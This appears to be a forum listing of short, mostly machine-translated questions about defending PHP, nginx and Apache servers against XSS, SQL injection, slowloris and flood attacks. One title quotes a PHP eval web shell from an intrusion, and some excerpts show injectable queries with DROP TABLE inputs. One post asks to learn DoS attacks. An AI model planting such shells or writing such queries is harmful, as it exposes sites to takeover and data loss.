laravel が {!!content!!} を使用するときに XSS 攻撃を防ぐにはどうすればよいですか?

通常、{{$article->title}} が使用されますが、形式が存在する場合もあるため、これが必要になります: {!!$article->body!!}。ただし、これは xss 攻撃につながります。 xss 攻撃を防ぐために対処しますか?

習慣沉默 2017-05-16 16:48:38 0  1  711

centos - nginx如何防御slowloris攻击？

nginx被检测出slowloris攻击：针对任意HTTP Server，建立一个连接，以很低的速度发包，并保持住这个连接不断开。如果客户端持续建立这样的连接，那么服务器上可用的连接池将很快被占满，从而导致拒绝服务攻击。 ...

漂亮男人 2017-04-25 09:03:29 0  1  1053

XSS攻撃の防止について、ユーザー入力時のHTMLエンコードは？ページ出力時のHTMLエンコードは？どの解決策がより良いでしょうか?

質問: XSS 攻撃の防止に関して、ユーザー入力時に HTML エンコードを実行する必要がありますか?ページ出力時のHTMLエンコードは？どの解決策がより良いでしょうか? 個人的には、入力時にエンコードしたほうが出力内容のページ数が多くなり、毎回エンコードする際に見落としやすいので便利な気がしますが、実際のアプリケーションでは出力が...

天蓬老师 2017-05-16 12:03:00 0  3  856

PHP で SQL インジェクション攻撃を防ぐにはどうすればよいですか?

ユーザー入力を変更せずに SQL クエリに挿入すると、次の例のように、アプリケーションは SQL インジェクション攻撃に対して脆弱になります。 $unsafe_variable=$_POST['user_input'];mysql_query("INSERTINTO`table `(`column`) VALUES('$unsafe_variable')");これは、ユーザーが value');DROPTABLEta のようなものを入力できるためです。

P粉939473759 2023-08-22 10:23:01 0  2  577

実装方法、doos攻撃。

Doos の攻撃方法を誰が教えてくれますか? QQ3025895344 を追加してください

phpcn_u132916 2018-03-17 21:17:31 0  4  1773

Apacheサーバーが攻撃されています

みなさん、こんにちは。私は PHP の初心者で、サーバー セキュリティについては基本的にまったく知識がありません。現在、オンラインで Web サイトを運営しています。しかし、毎日、Apache は明確な理由もなくハングします。 Apache の error.log を確認したところ、毎回サービスがハングアップする前に、大勢の人がこのような無意味なリクエストをサーバーに対して開始していることが分かりました。予防方法

人不三俗枉少年 2019-05-01 12:39:20 0  1  1164

nginx - さまざまな IP から PHP への数千万のリクエスト、これは CC 攻撃ですか?それを防ぐにはどうすればよいでしょうか？

前述したように、静的ファイルには正常にアクセスできますが、PHP は応答しません。nginx ログを見ると、同じ PHP URL が大量にリクエストされており、現在 5 つのロード バランサーが毎日数百万のリクエストを処理しています。 、IP アドレスが異なります。現時点では、要求された URL は nginx 設定で手動でのみブロックできますが、攻撃...

世界只因有你 2017-05-16 17:16:21 0  2  536

mongodb データベースが攻撃され、データベースが削除されました。データを回復するにはどうすればよいですか?

mongodb データベースが攻撃され、データベースが削除されました。バックアップ データがありません。

某草草 2017-05-02 09:24:40 0  1  921

nginx - ユーザーエージェントを使用した攻撃に関する質問

今日、会社サーバーの nginx の access.log に非常に奇妙なログがあることを偶然発見しました: {code...} 最も奇妙な部分は、http1.0 user-agent が使用されており、これは私が検索したスクリプトです。オンラインで調べたところ、攻撃にユーザー エージェントを使用することについては情報が見つかりませんでした。ただし、攻撃することはできます...

世界只因有你 2017-05-16 17:10:16 0  3  686

WebサイトがCC攻撃を受けています Apacheが起動後3秒以内に落ちてメモリオーバーフローしてしまいます 解決策はありますか？

WebサイトがCC攻撃を受けています Apacheが起動後3秒以内に落ちてメモリオーバーフローしてしまいます 解決策はありますか？

Time 2018-10-05 21:18:17 0  3  1343

Java プログラムでの SQL インジェクション攻撃の防止

データベーステーブルを更新するには、Java プログラムにステートメントを追加する必要があります: Stringinsert="INSERTINTOcustomer(name,address,email)VALUES('"+name+"','"+addre+"','"+email+"') ; ";これは SQL インジェクション経由で悪用される可能性があると聞きました。例: DROPTABLEcustomer

P粉328911308 2023-10-20 20:06:17 0  2  851

ヘッダーの nginx バージョン番号と PHP バージョン番号を非表示にする方法は?

たとえば、ヘッダーの nginx バージョン番号と PHP バージョン番号を非表示にするにはどうすればよいでしょうか?特定の悪意のあるスキャン攻撃を防ぐため。

伊谢尔伦 2017-05-16 17:25:55 0  2  766

android - ネットワーク読み込みデータがコントロールに入力されると、コントロールのサイズはデフォルトのサイズになり、クリックした後にのみ設定したサイズに変更されます。

ネットワーク データをロードした後、ハンドラーを使用してデータをメイン スレッドに渡し、コントロールにデータを設定します。ただし、データを初めてロードするとき、データをロードするコントロールのサイズは私が設定したものではなく、一度クリックしたときにのみコントロールが設定したサイズになるようです。クリック前 クリック後

某草草 2017-05-16 13:31:14 0  1  715

このソースコードにはトロイの木馬が含まれていますか?

ファイアウォール プロンプト: mysql データベースが激しくクラックされました。攻撃者の ip***** (ローカル アドレス)... ソース コードにトロイの木馬が含まれていますか?トロイの木馬を検出するにはどうすればよいですか?

旎旎 2018-08-16 20:04:56 0  1  1265

angular.js - ng-repeat のネストされたループから ul li を表示して、最初の li にデフォルトでスタイルがあり、現在クリックされている li にはスタイルがあり、他の li にはスタイルがないようにするにはどうすればよいですか?

質問: ng-repeat を使用してデータをループアウトします。どうすればよいですか: 1. ページを開くと、最初の li がデフォルトでスタイル付きで表示されます。 2. 現在クリックされている li にはスタイルがありますが、他の li にはスタイルがありませんか?以下は HTML コード図です: <ul ng-repeat="u in pinpaiData" class=...

我想大声告诉你 2017-05-15 17:08:27 0  1  1507

php - サードパーティの QQ ログインに関する CSRF

サードパーティのログインを行っているときに問題が発生しました。CSRF 攻撃を防ぎたかったのです。次に、次のようなコードを追加しました。その後、コールバック関数で $_GET['state'] ができることがわかりました。取得したのですが、$stateがNULLで、保存されていないのかと思ったら…

滿天的星座 2017-05-27 17:43:43 0  2  701

書き直されたタイトルは次のとおりです: PHP ボタンを jQuery および POST メソッドと組み合わせて戻り値を取得する

ユーザー名を取得する単純なフォームがあり、次のことを実現したいと考えています。ユーザーがボタンをクリックすると、複数のクリックを防ぐためにボタンが無効になります（実際の場合、すべてのデータを処理するのに数秒かかる場合があります。 API の呼び出し、データベースへの書き込みなど); クリックした後、PHP で $_POST['username'] をキャプチャし、リクエストをさらに処理するために、新しい POST リクエストを発生させる必要があります。この目標を達成するにはどうすればよいでしょうか?コードは次のとおりですが、期待どおりに動作しません: <?phpsession_start...

P粉738821035 2023-09-05 08:42:27 0  2  592

Web サイトのプログラムがトロイの木馬 [<?php eval($_POST[1]);?> ok] に侵入されました。メカニズムの解明にご協力ください。

この Web サイトは最近ハッカーによる頻繁な攻撃を受けており、できるだけ早く抜け穴を見つけて懸念を解決できるよう、考え方を明確にするために PHP の専門家の協力を求めています。このインシデントは次のように説明されています。 1. Web サイトは、デフォルト バージョンの PHPCMS_V9_5.20 を使用して構築されました。 2. すべてのファイルは、最初は完全にオープンなアクセス許可でサーバーのルート ディレクトリに保存されます。 ...

伊谢尔伦 2017-06-26 10:48:58 0  5  2535